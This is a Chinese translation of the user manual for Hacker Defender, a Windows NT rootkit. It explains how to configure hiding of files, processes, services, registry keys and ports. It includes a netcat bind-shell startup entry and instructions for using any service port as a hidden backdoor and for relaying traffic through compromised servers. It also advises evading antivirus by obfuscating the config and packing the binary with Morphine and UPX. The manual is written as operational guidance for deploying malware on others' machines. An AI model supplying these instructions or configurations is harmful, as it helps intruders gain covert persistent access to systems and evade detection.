[译]Hacker defender中文使用说明
0.目录
- 1.基本信息
- 2.简介
- 2.1 原理
- 2.2 许可
- 3.用法
- 4.配置文件
- 5.后门
- 5.1 重定向程序
- 6.技术讨论
- 6.1 版本
- 6.2 被hook的API
- 6.3 已知bug
- 7.问答
- 8.文件清单
1.基本信息
- 类型:NT Rootkit
- 作者:
- Holy_Father holy_father@phreaker.net
- Ratter/29A ratter@atlas.cz
- 版本:1.0.0 revisited
- 创作日期:2005年8月15日
- 主页:
- 测试版试验者:
- ch0pper THEMASKDEMON@flashmail.com
- aT4r at4r@hotmail.com
- phj34r phj34r@gmail.com
- unixdied 0edfd3cfd9f513ec030d3c7cbdf54819@hush.ai
- rebrinak
- GuYoMe
- ierdna ierdna@go.ro
- Afakasf undefeatable@pobox.sk
- 文档作者:
- 捷克语版和英语版:holy_father
- 法语版:GuYoMe
- 汉语版:Werner
2.简介
Hacker defender(简称hxdef)是一个针对Windows NT 4.0、Windows 2000、Windows XP和Windows Server 2003的Rootkit,它也许也可以工作在最新的Windows NT系统上。(译者注:经测试,hxdef在WinXP Sp3上运行状况良好,而在Win7上运行状况不佳,无法隐藏文件夹,无法连接后门,有时也无法隐藏文件,其余功能未测试。毕竟Win7发布于2009年而hxdef写作于2005年。)
主代码是用Delphi开发的,新的功能是用汇编写的,驱动程序是用C语言开发的。支持程序(后门和
重定向程序客户端)主要用Delphi开发。
程序使用了改写过的的LDE32(32比特长度的反汇编引擎,Z0MBiE在1999至2000年间写的一个特制的恢复工具 ,版本号是1.05),还使用了Jacky Qwerty/29A在1998年写的速度超快、体积超小的加密库。
2.1 原理
本程序的主要原理是重写所有运行中的进程的一点内存段,重写导致进程行为改变的基础模块。重写必须不影响系统或正在运行的进程的稳定性。
程序对外必须绝对隐藏。现在用户可以隐藏文件、进程、系统服务、系统驱动、注册表键和值以及开放的端口,并能够伪造磁盘剩余空间。程序也会改变内存并隐藏隐藏进程的句柄。程序可安装隐藏后门、注册并隐藏系统服务并可安装隐藏系统驱动。后门技术允许植入重定向程序。
2.2 许可
本程序自1.0.0版本开放源代码,但同时存在具有高级特性的商业版。
当然本程序作者对你使用本程序所造成的后果概不负责。
3.用法
hxdef的用法十分简单:
>hxdef100.exe [inifile]
或
>hxdef100.exe [选项]
当你不指定配置文件或是使用选项运行hxdef时,默认配置文件的后缀为.ini,文件名和可执行程序的文件名相同。例如运行“hxdef100.exe”,配置文件就是“hxdef100.ini”。
下面这些选项是有效的:
-:installonly - 仅安装服务,但不运行
-:refresh - 使用此参数从配置文件中更新设置
-:noservice - 不安装服务仅正常地运行
-:uninstall - 从内存中移除hxdef并杀死所有后门连接,同时停止hxdef服务
例子:
>hxdef100.exe -:refresh
hxdef自带了不用做任何修改就可以运行的配置文件。但极力推荐创建你自己的配置文件。关于配置文件的更多信息见 4.配置文件。
选项“-:refresh”和“-:uninstall”仅可从最初始的可执行文件调用。这意味着你必须知道hxdef的路径和名称,这样你才可以改变配置或卸载它。
4.配置文件
配置文件必须包含以下十个部分:
- [Hidden Table]
- [Hidden Processes]
- [Root Processes]
- [Hidden Services]
- [Hidden RegKeys]
- [Hidden RegValues]
- [Startup Run]
- [Free Space]
- [Hidden Ports]
- [Settings]
在[Hidden Table]、[Hidden Processes]、[Root Processes]、[Hidden Services]和[Hidden RegValues]中可以在字符串末尾使用“*”作为通配符。星号仅可用在字符串末尾,任何在第一个星号后的字符都将被忽略。
字符串首位的空格也都将被忽略。
如:
[Hidden Table]
hxdef*
将隐藏所有以“hxdef”开头的文件、目录和进程。
[Hidden Table]是将被隐藏的文件和目录的列表。这个列表中的文件和目录不会在文件管理器中出现。
确保主程序、配置文件、你的后门文件和驱动文件包含在这个列表中。
[Hidden Processes]是将被隐藏的进程的列表。该列表中的进程不会出现在系统的进程列表中。确保主程序和后门程序在这个列表中。
[Root Processes]列表中的程序不受影响,只有这些程序可查看隐藏文件、目录和程序。所以,这些程序也就是本Rootkit的管理者。值得一提的是某程序出现在该列表中不意味着会被隐藏,可能没有隐藏。反之亦然。
[Hidden Services]是将在已安装服务和驱动数据库中隐藏的服务和驱动名列表。本Rootkit主程序服务名默认是HackerDefender100,驱动名默认是HackerDefenderDrv100。这些在配置文件中都可以修改。
[Hidden RegKeys]是将会被隐藏的注册表键的列表。 本Rootkit在注册表中默认有四个键HackerDefender100、LEGACY_HACKERDEFENDER100、HackerDefenderDrv100和LEGACY_HACKERDEFENDERDRV100。如果你重命名了服务名或驱动名,你也应该修改这个列表。服务和驱动程序的前两个注册表键与名称相同。接下来的两个是LEGACY_NAME。例如你想将服务名改为BoomThisIsMySvc,对应地,注册表项应改为LEGACY_BOOMTHISISMYSVC。
[Hidden RegValues]是将会被隐藏的注册表值的列表。
[Startup Run]是本Rootkit运行后自动启动的程序的列表。这些程序有着和本Rootkit相同的权限。
程序名和参数用问号分割。不要使用“””。当用户登录后程序将会结束。在用户登录后启动程序可使用常见和众所周知的方法。你可以使用下列缩写:
- %cmd% – 代表系统shell路径和可执行程序(如: C:\winnt\system32\cmd.exe)
- %cmddir% – 代表系统shell可执行程序所在目录(如: C:\winnt\system32\)
- %sysdir% – 代表系统目录(如: C:\winnt\system32\)
- %windir% – 代表Windows目录(如: C:\winnt\)
- %tmpdir% – 代表临时目录(如: C:\winnt\temp\)
例(1):
[Startup Run]
c:\sys\nc.exe?-L -p 100 -t -e cmd.exe
netcat在Rootkit启动后会自动运行并监听100端口。
例(2):
[Startup Run]
%cmd%?/c echo Rootkit started at %TIME%>> %tmpdir%starttime.txt
例(2)的效果是每当Rootkit启动就保存启动时间到“临时目录\starttime.txt”(如:C:\winnt\temp\starttime.txt)。(%TIME%仅在Windows 2000或更高的系统中有效)
[Free Space]是盘符和想要增加的空闲空间的字节数的列表。此列表中每项的格式是“X:NUM”,“X”是代表磁盘分区的字母,“NUM”是加在该分区上空闲空间的字节数。例如下例将给C盘添加大约123MB的空闲磁盘空间。
[Free Space]
C:123456789
[Hidden Ports]是要隐藏的端口的列表。它共有三行。第一行的格式是“TCPI:端口1,端口2,端口3,…”,第二行的格式是“TCPO:端口1,端口2,端口3,…”,第三行的格式是“UDP:端口1,端口2,端口3,…”。
例(1)将隐藏两个TCP入端口8080和456:
[Hidden Ports]
TCPI:8080,456
TCPO:
UDP:
例(2)将隐藏一个TCP出端口8001:
[Hidden Ports]
TCPI:
TCPO:8001
UDP:
例(3)将隐藏五个UDP端口:
[Hidden Ports]
TCPI:
TCPO:
UDP:53,54,55,56,800
[Settings]包含以下8个值:
- 密码
- 后门shell
- 文件映射名
- 服务名
- 服务显示名
- 服务描述
- 驱动名
- 驱动文件名
密码是一个16个字符的字符串,当使用后门或重定向程序时会用到它。密码可以更短些,将会用空格填充。
后门shell是后门程序将系统shell文件复制到临时目录中后的文件名。
文件映射名是为被存储的hook进程进行设置的共享内存的名字。
服务名是本Rootkit服务的名字。
服务显示名是本Rootkit服务显示的名字。
服务描述是本Rootkit服务的描述。
驱动名是hxdef的驱动的名字。
驱动文件名是hxdef的驱动文件的名字。
例如:
[Settings]
Password=hxdef-rulez
BackdoorShell=hxdef?.exe
FileMappingName=_.-=[Hacker Defender]=-._
ServiceName=HackerDefender100
ServiceDisplayName=HXD Service 100
ServiceDescription=powerful NT rootkit
DriverName=HackerDefenderDrv100
DriverFileName=hxdefdrv.sys
上述配置设置密码为“hxdef-rulez”;后门程序将复制系统shell文件(通常名为cmd.exe)到临时目录并命名为“hxdef?.exe”;共享内存将会被命名为“.-=[Hacker Defender]=-.”;服务将会被命名为“HackerDefender100”,它显示的名字是“HXD Service 100”,它的描述是“poweful NT rootkit”;
驱动被命名为“HackerDefenderDrv100”,驱动在文件中将会被叫做“hxdefdrv.sys”。
额外字符 |, <, >, :, \, / 和 ” 在所有行中都会被忽略,除了[Startup Run]、[Free Space]和[Hidden Ports]项以及[Settings]中第一个“=”号之后的值。使用额外字符可以让你的配置文件对杀毒系统免疫。
例如:
[H<<<idden T>>a/"ble]
>h"xdef"*
和下面的配置是等效的:
[Hidden Table]
hxdef*
从文件 hxdef100.ini 和 hxdef100.2.ini 中可以看到更多实例。(译者注:这两个文件是Hacker defender的默认配置文件)
除了[Settings]和[Startup Run]外,所有配置文件中的字符都不区分大小写。
5.后门
本Rootkit程序hook了一些从网络上接受数据的API函数。如果收到的数据长度等于256比特,密码和服务被验证,则将临时创建一个复制的shell,它的实例创建后下次接受到的数据将被重定向到这个shell。
因为Rootkit程序hook了系统中的所有进程,故而系统中所有服务的所有TCP端口都是后门。例如,如果目标为HTTP而开放了TCP的80端口,那么这个端口将会成为一个有效的后门。例外是系统进程打开的端口不会被hook。这种后门仅仅工作在服务器接收数据的缓冲区大于等于256比特时。但几乎所有标准服务如Apache、IIS和Oracle都满足这一条件。这种后门是隐蔽的因为它的数据包是在系统的公共服务上收发的。所以,使用经典的端口扫描器发现不了这种后门,而且这种后门很容易穿过防火墙。除此之外,后门还可以为FTP或HTTP协议提供典型代理。
在IIS服务器上的测试发现HTTP服务没有记录这种连接的任何日志,FTP和SMTP服务仅仅在最后记录了连接断开。所以,如果你运行hxdef的服务器上有IIS的Web服务,HTTP端口可能是这台机器上用于后门连接的最好端口。
如果你想连接后门,你必须使用特制的客户端。程序bdcli100.exe就是用来干这个的。
用法:bdcli100.exe 主机 端口 密码
如:
>bdcli100.exe www.windowsserver.com 80 hxdef-rulez
如果你之前获得了www.windowsserver.com的root权限并以默认密码留下hxdef,上述命令将会连接后门。
此版本(1.0.0)的客户端不兼容老版本的服务器端程序。
5.1 重定向程序
重定向程序基于后门技术。第一个连接包和后门连接一样。这意味着你可以使用和后门同样的端口。重定向程序接下来的数据包是特别的。这些数据包是运行在用户电脑上的重定向基程序生成的。重定向连接的第一个包定义了服务器和端口。
重定向基程序保存它的配置信息到名字和重定向基程序相同的.ini文件中(所以默认就是rdrbs100.ini)。若运行时该文件不存在则会自动创建。最好不要修改该文件,所有配置都可以在控制台设置。
如果我们想在安装了Rootkit的服务器上使用重定向程序,我们必须先在本地主机上运行重定向基程序。然后我们必须在重定向基程序的控制台创建指向运行hxdef的服务器的端口路由映射。最后我们可以在本地主机上连接选中的端口并传输数据,重定向数据是用Rootkit密码编码过的。在这个版本中重定向程序被决定不使用高速连接,连接速度被限制在大约256kBps。重定向程序也被运行Rootkit的系统限制。重定向程序仅使用TCP协议。
在这个版本中重定向基程序由19个命令控制,均不区分大小写。输入HELP命令可看到它们的功能描述。重定向基程序启动时会执行启动列表中的命令。启动列表中的命令是用以SU开头的命令编辑的。
重定向程序区别两种连接:HTTP和其他。若连接是其他类型的则数据包不做改变,若是HTTP类型的则改变HTTP头中Host参数为目标服务器。重定向基程序的最大值是1000。
重定向基程序只有在NT系统中才可以充分地工作。只有在NT系统中,程序有系统托盘图标且你可用HIDE命令隐藏控制台。只有在NT系统中,重定向基程序可以以没有输出的静默模式运行,没有图标,只执行启动列表中的命令。
例(1).获取映射端口信息:
>MPINFO
No mapped ports in the list.
例(2).将命令MPINFO添加到启动列表并查看启动列表中全部命令:
>SUADD MPINFO
>sulist
0) MPINFO
例(3).使用HELP命令:
>HELP
Type HELP COMMAND for command details.
Valid commands are:
HELP, EXIT, CLS, SAVE, LIST, OPEN, CLOSE, HIDE, MPINFO, ADD, DEL,
DETAIL, SULIST, SUADD, SUDEL, SILENT, EDIT, SUEDIT, TEST
>HELP ADD
Create mapped port. You have to specify domain when using HTTP type.
usage: ADD <LOCAL PORT> <MAPPING SERVER> <MAPPING SERVER PORT> <TARGET
SERVER> <TARGET SERVER PORT> <PASSWORD> [TYPE] [DOMAIN]
>HELP EXIT
Kill this application. Use DIS flag to discard unsaved data.
usage: EXIT [DIS]
例(4).添加端口映射,我们想监听本地主机的TCP端口100,Rootkit被安装在服务器200.100.2.36,并打开了80端口,Rootkit的密码是“bIgpWd”,目标是www.google.com的80端口,连接类型是HTTP,目标服务器的IP地址——众所周知——是216.239.53.100:
>ADD 100 200.100.2.36 80 216.239.53.100 80 bIgpWd HTTP www.google.com
命令ADD可不加任何参数运行,若是这样,每个参数会被分别询问。
例(5).用MPINFO命令检查端口映射:
>MPINFO
There are 1 mapped ports in the list. Currently 0 of them open.
例(6).枚举端口映射列表:
>LIST
000) :100:200.100.2.36:80:216.239.53.100:80:bIgpWd:HTTP
例(7).查看某个端口映射的详细描述:
>DETAIL 0
Listening on port: 100
Mapping server address: 200.100.2.36
Mapping server port: 80
Target server address: 216.239.53.100
Target server port: 80
Password: bIgpWd
Port type: HTTP
Domain name for HTTP Host: www.google.com
Current state: CLOSED
例(8).测试在映射服务器200.100.2.36时Rootkit是否没有使用密码就被安装(若我们已知相关信息则没有必要测试):
>TEST 0
Testing 0) 200.100.2.36:80:bIgpWd - OK
若失败它将返回:
Testing 0) 200.100.2.36:80:bIgpWd - FAILED
例(9).若在我们使用之前端口仍然处于关闭状态,我们必须用OPEN命令打开它,当它是打开的时我们可以使用CLOSE命令关闭它。当我们想对列表中所有端口执行该命令时,可使用标志ALL。要求的动作执行后的当前状态在一段时间后写入:
>OPEN 0
Port number 0 opened.
>CLOSE 0
Port number 0 closed.
或:
>OPEN ALL
Port number 0 opened.
例(10). 使用SAVE命令可保存当前设置和列表到配置文件中(在执行没有DIS标志的命令EXIT后也会自动保存配置):
>SAVE
Saved successfully.
打开的端口都是我们传输数据所需要的。现在你可以打开你最喜欢的浏览器并输入“http://localhost:100/”。若没有问题,你应该能看到“www.google.com”被加载。
连接的第一个包可能有5秒的延迟,但其他的只是服务器端有速度限制。这个版本中你的重定向程序的网络连接限速是256kBps。
6.技术讨论
这节内容对普通用户来说很无趣。这节的读者应该是测试人员和开发人员。
6.1 版本
1.0.0 revisited
+ compiler define for disabling NtOpenFile hook
+ outbound TCP connection hiding
+ separation between hidden files and processes - Hidden Processes
+ hidden files in Prefetch are deleted during initialization
+ disabling incompatible McAfee Buffer Overflow protection
x found and fixed several bugs, source code cleanup
1.0.0 + open source
0.8.4 + French readme
+ hook of NtCreateFile to hide file operations
+ hxdef mailslot name is dynamic
+ switch -:uninstall for removing and updating hxdef
+ -:refresh can be run from original .exe file only
+ new readme - several corrections, more information, faq
+ shortcuts for [Startup Run]
+ free space cheating via NtQueryVolumeInformationFile hook
+ open ports hiding via NtDeviceIoControlFile hook
+ much more info in [Comments] in inifile
+ supporting Ctrl+C in backdoor session
+ FileMappingName is an option now
+ Root Processes running on the system level
+ handles hiding via NtQuerySystemInformation hook class 16
+ using system driver
+ antiantivirus inifile
+ more stable on Windows boot and shutdown
+ memory hiding improved
- found bug in backdoor client when pasting data from clipboard
x found and fixed bug in service name
x found and fixed increasing pid bug fixed via NtOpenProcess hook
x found and fixed bug in NtReadVirtualMemory hook
x found and fixed several small bugs
x found and fixed backdoor shell name bug fix
0.7.3 + direct hooking method
+ hiding files via NtQueryDirectoryFile hook
+ hiding files in ntvdm via NtVdmControl hook
+ new process hooking via NtResumeThread hook
+ process infection via LdrInitializeThunk hook
+ reg keys hiding via NtEnumerateKey hook
+ reg values hiding via NtEnumerateValueKey hook
+ dll infection via LdrLoadDll hook
+ more settings in inifile
+ safemode support
+ masking memory change in processes via NtReadVirtualMemory hook
x fixed debugger bug
x fixed w2k MSTS bug
x found and fixed zzZ-service bug
0.5.1 + never more hooking WSOCK
x fixed bug with MSTS
0.5.0 + low level redir based on backdoor technique
+ password protection
+ name of inifile depends on exefile name
+ backdoor stability improved
- redirectors conection speed is limited about 256 kBps,
imperfect implementation of redirector,
imperfect design of redirector
- found chance to detect rootkit with symbolic link objects
- found bug in connection with MS Termnial Services
- found bug in hidding files in 16-bit applications
x found and fixed bug in services enumeration
x found and fixed bug in hooking servers
0.3.7 + possibility to change settings during running
+ wildcard in names of hidden files, process and services
+ possibility to add programs to rootkit startup
x fixed bug in hidding services on Windows NT 4.0
0.3.3 + stability realy improved
x fixed all bugs for Windows XP
x found and fixed bug in hiding in registry
x found and fixed bug in backdoor with more clients
0.3.0 + connectivity, stability and functionality of backdoor improved
+ backdoor shell runs always on system level
+ backdoor shell is hidden
+ registry keys hiding
x found and fixed bug in root processes
- bug in XP after reboot
0.2.6 x fixed bug in backdoor
0.2.5 + fully interactive console
+ backdoor identification key is now only 256 bits long
+ improved backdoor installation
- bug in backdoor
0.2.1 + always run as service
0.2.0 + system service installation
+ hiding in database of installed services
+ hidden backdoor
+ no more working with windows
0.1.1 + hidden in tasklist
+ usage - possibility to specify name of inifile
x found and then fixed bug in communication
x fixed bug in using advapi
- found bug with debuggers
0.1.0 + infection of system services
+ smaller, tidier, faster code, more stable program
x fixed bug in communication
0.0.8 + hiding files
+ infection of new processes
- can't infect system services
- bug in communication
6.2 被hook的API
被hooke的API函数列表:
- Kernel32.ReadFile
- Ntdll.NtQuerySystemInformation (class 5 a 16)
- Ntdll.NtQueryDirectoryFile
- Ntdll.NtVdmControl
- Ntdll.NtResumeThread
- Ntdll.NtEnumerateKey
- Ntdll.NtEnumerateValueKey
- Ntdll.NtReadVirtualMemory
- Ntdll.NtQueryVolumeInformationFile
- Ntdll.NtDeviceIoControlFile
- Ntdll.NtLdrLoadDll
- Ntdll.NtOpenProcess
- Ntdll.NtCreateFile
- Ntdll.NtOpenFile
- Ntdll.NtLdrInitializeThunk
- WS2_32.recv
- WS2_32.WSARecv
- Advapi32.EnumServiceGroupW
- Advapi32.EnumServicesStatusExW
- Advapi32.EnumServicesStatusExA
- Advapi32.EnumServicesStatusA
6.3已知bug
这个版本有一个已知bug:
后门客户端在使用右键单击或使用控制菜单从粘贴板粘贴数据后可能会崩溃。如果运行程序的控制台支持,你可以使用Ctrl+Ins或Shift+Ins从粘贴板粘贴数据。
如果你认为你找到了一个bug请在rootkit@host.sk上的公告板报告它(若你是测试人员,请在测试板报告它)。但要确定你阅读过使用说明的问答章节、计划表和公告区,在你写之前你没有找到关于你想写的东西的任何信息。
7.问答
因为在公告板中有许多简单的问题,所以我意识到需要在使用说明中创建问答章节。在你问任何问题前阅读此使用说明两遍并特别仔细阅读本问答章节。然后阅读公告板中已有信息。做完这些之后你确定你仍然无法找到答案,再到公告板提问。
问题如下所示:
- 我下载并运行了hxdef,但我卸不掉它。我看不到它的进程、服务和文件,我该如何卸载它?
- 有人入侵我的电脑并安装了hxdef,我卸不掉它。我该如何卸载安装在我机器上的hxdef和所有后门?
- 这个程序能被杀毒软件检测到吗?如何能,有什么方法避免杀软检测吗?
- 我为何不能在目标系统已打开TCP端口135、137、138、139或445时连接后门?
- 有办法隐藏文件在磁盘上可见的进程吗?
- 如何隐藏svchost.exe以及其他我能在进程列表中看到的进程?
- 我正在使用DameWare,我可以看到所有服务以及其他应该被隐藏的东西。这是个bug吗?
- 但任何人通过NetBIOS都能看到我隐藏的文件,我该怎么做?
- 后门客户端不工作。所有事情看上去都是对的,但在连接之后我无法输入任何东西且整个控制屏幕都是黑的。我应该怎么办?
- 我何时能得到新版本?
- net.exe命令可以结束隐藏服务,这是个bug吗?
- 有什么办法检测这个Rootkit吗?
- 所以,检测hxdef有多难?有人写出做这事的程序了吗?
- 所以,我该如何检测它?
- 以0开头的版本号意味着不稳定版本吗?
- 你何时将公开源码?我听说1.0.0版本源码会公开,但什么时候呢?
- 我想成为测试员,我该做什么?
- 使用hxdef合法吗?
- 有可能在机器上升级老版本的hxdef吗?可以不重启吗?
- 有可能在机器上升级这一版本的hxdef为将来的新版吗?可以不重启吗?
- 使用“-:uninstall”还是使用“net”停止ServiceName更好?
- 我很喜欢这个程序。我可以小额赞助支持你的工作吗?
- 有可能隐藏“C:\temp”而不隐藏“C:\winnt\temp”吗?
- 我可以在配置文件中看到明文密码!这怎么可能呢?
- 如果我在[Hidden Processes]中隐藏了一个进程,该进程在监听一个端口,该端口是自动隐藏的呢还是要我在[Hidden Ports]中隐藏它?
答案如下:
(1)
问:我下载并运行了hxdef,但我卸不掉它。我看不到它的进程、服务和文件,我该如何卸载它?
答:若是默认设置你可运行如下shell命令停止服务:
>net stop HackerDefender100
hxdef被实现为停止服务后会完全卸载。这和“-:uninstall”有相同的效果且你不用知道hxdef在哪里。
如果你在配置文件中修改了服务名,在输入上述命令时要输入相应的服务名:
>net stop 服务名
若忘记了服务名,你可以从CD启动你的系统寻找hxdef配置文件并从中查看服务名,然后按上述方法停止它。
(2)
问:有人入侵我的电脑并安装了hxdef,我卸不掉它。我该如何卸载安装在我机器上的hxdef和所有后门?
答:仅有的100%解决问题的方法是重装系统。但如果你想卸载它你需要像上面问题(1)中那样找到配置文件。在从你的系统中通过配置文件卸载hxdef后你需要找到配置文件列表中的所有文件,验证和检测它们是否属于攻击者。
(3)
问:这个程序能被杀毒软件检测到吗?如何可以,有什么方法避免杀软检测吗?
答: 是的。不仅可执行文件会被检测,少数杀毒系统还会检测配置文件和驱动文件。第二个问题的回答是肯定的,很容易就可躲避检测。在hxdef主站点上可找到一个名为Morphine的工具。若你用Morphine对hxdef的可执行文件进行处理,你将得到一个新的可执行文件,该文件不会被通常的杀毒系统检测到。配置文件也被设计为防检测。你可以添加额外字符到配置文件中以防止被杀毒系统检测到,详情参见 4.配置文件。看看自带的配置文件,两个示例配置文件是等效的,但第一个使用了额外字符,所以它不会被通常的杀毒系统检测到。也许使用Morphine前最好先用一下UPX。UPX将减小hxdef可执行文件的大小,Morphine将提供反反病毒保护。查看Morphine的使用说明获得更多信息。
(4)
问:我为何不能在目标系统已打开TCP端口135、137、138、139或445时连接后门?
答:正如本使用说明章节 5.后门 中所提及的,后门需要接收缓冲区大于等于256比特。也许系统中端口没有用。如果难以找到可用的端口,你可简单地运行netcat在你自己的端口上监听。你应该添加netcat的端口到配置文件的[Hidden Ports]中。
(5)
问:有办法隐藏文件在磁盘上可见的进程吗?
答: 没有。同样地,你也没办法隐藏在进程中可见的磁盘文件。
(6)
问:如何隐藏svchost.exe以及其他我能在进程列表中看到的进程?
答:这真是个坏主意。如果你隐藏通用系统进程不久你的Windows系统就会崩溃。使用hxdef时你不需要把你的恶意文件命名为类似svchost.exe、lsass.exe这种。你可以以任意名称命名并添加它们至[Hidden Processes]以隐藏它们。
(7)
问:我正在使用DameWare,我可以看到所有服务以及其他应该被隐藏的东西。这是个bug吗?
答: 不是。由于该特性目前还没有实现,所以DameWare和远程用户以及netbios都可以看到隐藏的服务。bug和未实现的特性还是有很大区别的。从网站的计划列表中可以看到这是尚未实现的特性。
(8)
问:但任何人通过NetBIOS都能看到我隐藏的文件,我该怎么做?
答:把你的文件放在系统目录深处或是不共享的目录中。
(9)
问:后门客户端不工作。所有事情看上去都是对的,但在连接之后我无法输入任何东西且整个控制屏幕都是黑的。我应该怎么办?
答:你很可能连错了端口。Hxdef尝试检测错误端口并断开和你的连接。但有时它不能检测出你使用了错误的端口,所以尝试不同的端口吧。
(10)
问:我何时能得到新版本?
答: 开发者在业余时间为这项事业编写代码。他们不因此获利也不想因此获利。目前只有两名程序员而我们认为这足够了。这意味着本项目不会和微软一样快,你不应该问我们新版何时发布。不像微软,我们的产品是自由的。我们有好的测试员,我们做了很多测试,所以我们的产品是稳定可靠的。
(11)
问:net.exe命令可以结束隐藏服务,这是个bug吗?
答:不是。这不是bug,这是特性。你想要停止一个服务就得知道它的名字,若它是隐藏的,那么就只有Rootkit的管理员知道它的名字。别害怕这是检测你的方式。
(12)
问:有什么办法检测这个Rootkit吗?
答: 是的。有很多方法可以检测任何Rootkit,这个也不例外。每个Rootkit都可以被检测。问题在于检测难度和是否有人写了检测程序。
(13)
问:所以,检测hxdef有多难?有人写出做这事的程序了吗?
答:检测它是非常非常简单的,但我不知道有专门检测你机器上是否有hxdef的工具。
(14)
问:所以,我该如何检测它?
答:我才不告诉你呢 🙂
(15)
问:以0开头的版本号意味着不稳定版本吗?
答: 不,它意味着有许多新特性还没有实现以及源代码还没有开放。
(16)
问:你何时将公开源码?我听说1.0.0版本源码会公开,但什么时候呢?
答:我真的不知道什么时候。在发布1.0.0之前我有几件事需要完成。它将花费我六个月或一年或更长时间。
(17)
问:我想成为测试员,我该做什么?
答:你应该写信告诉我你能做出怎样的贡献,你关于这项工作有着怎样的能力,你关于测试的经验。但成为这个项目的新测试员的机会很小。现在我们有足够的测试人员可以做好这项工作。不需要再增加他们的数量。
(18)
问:使用hxdef合法吗?
答:是的,合法。但hxdef也容易被滥用于非法活动。
(19)
问:有可能在机器上升级老版本的hxdef吗?可以不重启吗?
答: 不重启机器是不可能的。但当你手动卸载老版本后可以升级它,重启机器并安装新版本。
(20)
问:有可能在机器上升级这一版本的hxdef为将来的新版吗?可以不重启吗?
答: 可以!你可以简单地使用“-:uninstall”完全移除这个版本的hxdef而不用重启,然后简单地安装新版本。
(21)
问:使用“-:uninstall”还是使用“net”停止ServiceName更好?
答: 如果可以选的话还是用“-:uninstall”更好些。但用net停止也是有效的。
(22)
问:我很喜欢这个程序。我可以小额赞助支持你的工作吗?
答: 我们不需要。但我们仍然希望你能向你所在国家的慈善机构捐款并写信告诉我们。
(23)
问:有可能隐藏“C:\temp”而不隐藏“C:\winnt\temp”吗?
答:不能。创建以特殊的名字命名的你自己的目录并把它加入到[Hidden Table]。
(24)
问:我可以在配置文件中看到明文密码!这怎么可能呢?
答:你可能觉得这是很不安全的存储密码的方式,但若你隐藏了配置文件就没有人可以阅读它。所以,它是安全的。在任何时候,你都可以使用“-:refresh”很容易的修改密码。
(25)
如果我在[Hidden Processes]中隐藏了一个进程,该进程在监听一个端口,该端口是自动隐藏的呢还是要我在[Hidden Ports]中隐藏它?
答: 仅隐藏[Hidden Ports]中的端口,所以你应该将它添加到[Hidden Ports]中。
8.文件清单
原版的Hacker defender v1.0.0包含以下文件:
- hxdef100.exe 70656b 程序Hacker defender v1.0.0
- hxdOFdis.exe 70656b 程序Hacker defender v1.0.0禁用NtOpenFile hook版
- hxdef100.ini 4119b 默认配置文件
- hxdef100.2.ini 3924b 默认配置文件,变体2
- bdcli100.exe 26624b 后门客户端
- rdrbs100.exe 49152b 重定向基程序
- readmecz.txt 37407b 捷克语版使用说明文件
- readmeen.txt 37905b 英语版使用说明文件
- src.zip 93679b 源码